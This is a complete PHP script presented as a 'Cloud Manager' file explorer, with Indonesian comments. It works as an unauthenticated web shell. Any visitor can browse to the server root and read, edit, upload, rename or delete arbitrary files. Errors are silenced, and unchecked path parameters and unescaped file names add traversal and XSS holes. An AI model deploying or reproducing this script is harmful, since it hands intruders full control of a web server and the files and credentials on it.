<?php
/**
* Cloud Manager v4.3 - Full Access Explorer
* Fitur: Navigasi Bebas (Bisa turun ke root server /)
*/
error_reporting(0);
$ds = DIRECTORY_SEPARATOR;
// Ambil direktori saat ini, jika tidak ada default ke folder script
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = realpath($current_dir) ?: $current_dir;
$current_dir = str_replace(['/', '\\'], $ds, $current_dir);
// Ambil path untuk tombol kembali
$parent_dir = dirname($current_dir);
$query = '?dir=' . urlencode($current_dir);
$message = ['text'=>'','type'=>''];
/* ================= OPERATIONS ================= */
if(isset($_POST['action'])){
$action = $_POST['action'];
if($action=='create_folder' && !empty($_POST['folder_name'])){
$target = $current_dir.$ds.$_POST['folder_name'];
if(!file_exists($target)){ mkdir($target,0755,true); $message=['text'=>"Folder dibuat","type"=>"success"]; }
}
if($action=='create_file' && !empty($_POST['file_name'])){
$target = $current_dir.$ds.$_POST['file_name'];
if(!file_exists($target)){ file_put_contents($target,""); $message=['text'=>"File dibuat","type"=>"success"]; }
}
if($action=='rename'){
$old = $current_dir.$ds.$_POST['old_name'];
$new = $current_dir.$ds.$_POST['new_name'];
if(file_exists($old) && !file_exists($new)){ rename($old,$new); $message=['text'=>"Berhasil diubah","type"=>"success"]; }
}
if($action=='upload_file' && !empty($_FILES['file_upload']['name'])){
$target = $current_dir.$ds.basename($_FILES['file_upload']['name']);
if(move_uploaded_file($_FILES['file_upload']['tmp_name'],$target)) $message=['text'=>"Upload sukses","type"=>"success"];
}
if($action=='save_edit'){
file_put_contents($current_dir.$ds.$_POST['filename'],$_POST['content']);
$message=['text'=>"Tersimpan","type"=>"success"];
}
}
if(isset($_GET['action']) && $_GET['action']=='delete'){
$target = $current_dir.$ds.$_GET['file'];
is_file($target) ? unlink($target) : @rmdir($target);
$message=['text'=>"Terhapus","type"=>"success"];
}
/* ================= CSS ================= */
$css = "
:root { --primary: #6366f1; --bg: #f8fafc; --text: #334155; }
body { font-family: system-ui, sans-serif; background: var(--bg); color: var(--text); margin: 0; padding: 20px; }
.container { max-width: 1100px; margin: 0 auto; }
.breadcrumb-box {
display: flex; align-items: center; gap: 8px; background: white;
padding: 12px 18px; border-radius: 12px; border: 1px solid #e2e8f0;
box-shadow: 0 1px 2px rgba(0,0,0,0.05); margin-bottom: 20px;
overflow-x: auto; white-space: nowrap;
}
.breadcrumb-item { color: #64748b; font-weight: 600; text-decoration: none; font-size: 14px; padding: 4px 8px; border-radius: 6px; }
.breadcrumb-item:hover { color: var(--primary); background: #f1f5f9; }
.chevron { color: #cbd5e1; font-size: 12px; }
.card { background: white; padding: 15px; border-radius: 12px; border: 1px solid #e2e8f0; margin-bottom: 15px; }
.grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 15px; }
input[type=text] { border: 1px solid #ddd; padding: 8px; border-radius: 6px; width: 60%; outline: none; }
button { background: #1e293b; color: white; border: none; padding: 8px 15px; border-radius: 6px; cursor: pointer; font-weight: bold; }
.btn-primary { background: var(--primary); }
table { width: 100%; border-collapse: collapse; background: white; border-radius: 12px; overflow: hidden; border: 1px solid #e2e8f0; }
th { background: #f8fafc; text-align: left; padding: 12px 15px; font-size: 11px; color: #64748b; border-bottom: 1px solid #e2e8f0; text-transform: uppercase; }
td { padding: 12px 15px; border-bottom: 1px solid #f1f5f9; font-size: 14px; }
.back-btn { display: inline-flex; align-items: center; gap: 5px; color: var(--primary); text-decoration: none; font-weight: bold; margin-bottom: 10px; font-size: 14px; }
";
/* ================= EDITOR ================= */
if(isset($_GET['action']) && $_GET['action']=='edit'){
$f = $_GET['file'];
$path = $current_dir.$ds.$f;
$content = htmlspecialchars(file_get_contents($path));
?>
<!DOCTYPE html><html><head><style><?= $css ?></style></head><body style="background:#0f172a; color:white;">
<div class="container">
<h3>Editing: <?= $f ?></h3>
<form method="POST">
<input type="hidden" name="action" value="save_edit"><input type="hidden" name="filename" value="<?= $f ?>">
<textarea name="content" style="width:100%; height:70vh; background:#1e293b; color:#818cf8; border:none; padding:15px; font-family:monospace;"><?= $content ?></textarea>
<div style="margin-top:15px;"><button type="submit" class="btn-primary">SIMPAN</button> <a href="<?= $query ?>" style="color:white; margin-left:15px;">BATAL</a></div>
</form>
</div></body></html>
<?php exit; } ?>
<!DOCTYPE html><html><head><style><?= $css ?></style></head><body>
<div class="container">
<h2 style="margin-bottom:20px;">Cloud<span style="color:var(--primary)">Manager.</span></h2>
<div class="breadcrumb-box">
<?php
$parts = array_filter(explode($ds, $current_dir));
$path_acc = '';
// Handle Windows Drive
$is_windows = (strpos(PHP_OS, 'WIN') === 0);
echo '<a href="?dir=" class="breadcrumb-item" style="color:var(--primary)">🖥️ System</a>';
foreach ($parts as $p):
$path_acc .= ($path_acc == '' && !$is_windows ? $ds : '') . $p . $ds;
?>
<span class="chevron">/</span>
<a href="?dir=<?= urlencode(rtrim($path_acc, $ds)) ?>" class="breadcrumb-item"><?= $p ?></a>
<?php endforeach; ?>
</div>
<?php if($message['text']): ?><div style="padding:10px; background:#dcfce7; color:#166534; border-radius:8px; margin-bottom:15px; border:1px solid #bbf7d0;"><?= $message['text'] ?></div><?php endif; ?>
<div class="grid">
<div class="card">
<div style="font-size:10px; font-weight:800; color:#94a3b8; margin-bottom:5px;">FOLDER</div>
<form method="POST"><input type="hidden" name="action" value="create_folder"><input type="text" name="folder_name" required> <button type="submit">OK</button></form>
</div>
<div class="card">
<div style="font-size:10px; font-weight:800; color:#94a3b8; margin-bottom:5px;">FILE</div>
<form method="POST"><input type="hidden" name="action" value="create_file"><input type="text" name="file_name" required> <button type="submit" class="btn-primary">OK</button></form>
</div>
<div class="card">
<div style="font-size:10px; font-weight:800; color:#94a3b8; margin-bottom:5px;">UPLOAD</div>
<form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="upload_file"><input type="file" name="file_upload" style="width:130px"> <button type="submit">UP</button></form>
</div>
</div>
<?php if ($current_dir != $parent_dir): ?>
<a href="?dir=<?= urlencode($parent_dir) ?>" class="back-btn">⬅️ Ke direktori sebelumnya (Parent)</a>
<?php endif; ?>
<table>
<thead><tr><th>Nama</th><th>Size</th><th style="text-align:right">Aksi</th></tr></thead>
<tbody>
<?php
$items = array_diff(@scandir($current_dir), ['.', '..']);
if($items === false) {
echo '<tr><td colspan="3" style="color:red; text-align:center;">Akses Ditolak (Permission Denied)</td></tr>';
} else {
natcasesort($items);
foreach($items as $f):
$full = $current_dir.$ds.$f;
$is_dir = is_dir($full);
?>
<tr>
<td><?= $is_dir ? '📁' : '📄' ?>
<?php if($is_dir): ?>
<a href="?dir=<?=urlencode($full)?>" style="text-decoration:none; color:#1e293b; font-weight:bold;"><?= $f ?></a>
<?php else: ?>
<?= $f ?>
<?php endif; ?>
</td>
<td style="color:#94a3b8"><?= $is_dir ? '-' : @round(filesize($full)/1024, 2).' KB' ?></td>
<td style="text-align:right">
<?php if(!$is_dir): ?><a href="?action=edit&file=<?=urlencode($f)?>&dir=<?=urlencode($current_dir)?>" style="color:var(--primary); text-decoration:none; font-weight:bold; margin-right:10px;">EDIT</a><?php endif; ?>
<a href="javascript:void(0)" onclick="renameItem('<?= addslashes($f) ?>')" style="color:#f59e0b; text-decoration:none; font-weight:bold; margin-right:10px;">RENAME</a>
<a href="?action=delete&file=<?=urlencode($f)?>&dir=<?=urlencode($current_dir)?>" style="color:#ef4444; text-decoration:none; font-weight:bold;" onclick="return confirm('Hapus?')">HAPUS</a>
</td>
</tr>
<?php endforeach;
} ?>
</tbody>
</table>
</div>
<script>
function renameItem(old){
let n = prompt("Ganti nama menjadi:", old);
if(n && n !== old){
let f = document.createElement("form"); f.method="POST";
f.innerHTML = `<input type='hidden' name='action' value='rename'><input type='hidden' name='old_name' value='${old}'><input type='hidden' name='new_name' value='${n}'>`;
document.body.appendChild(f); f.submit();
}
}
</script>
</body></html>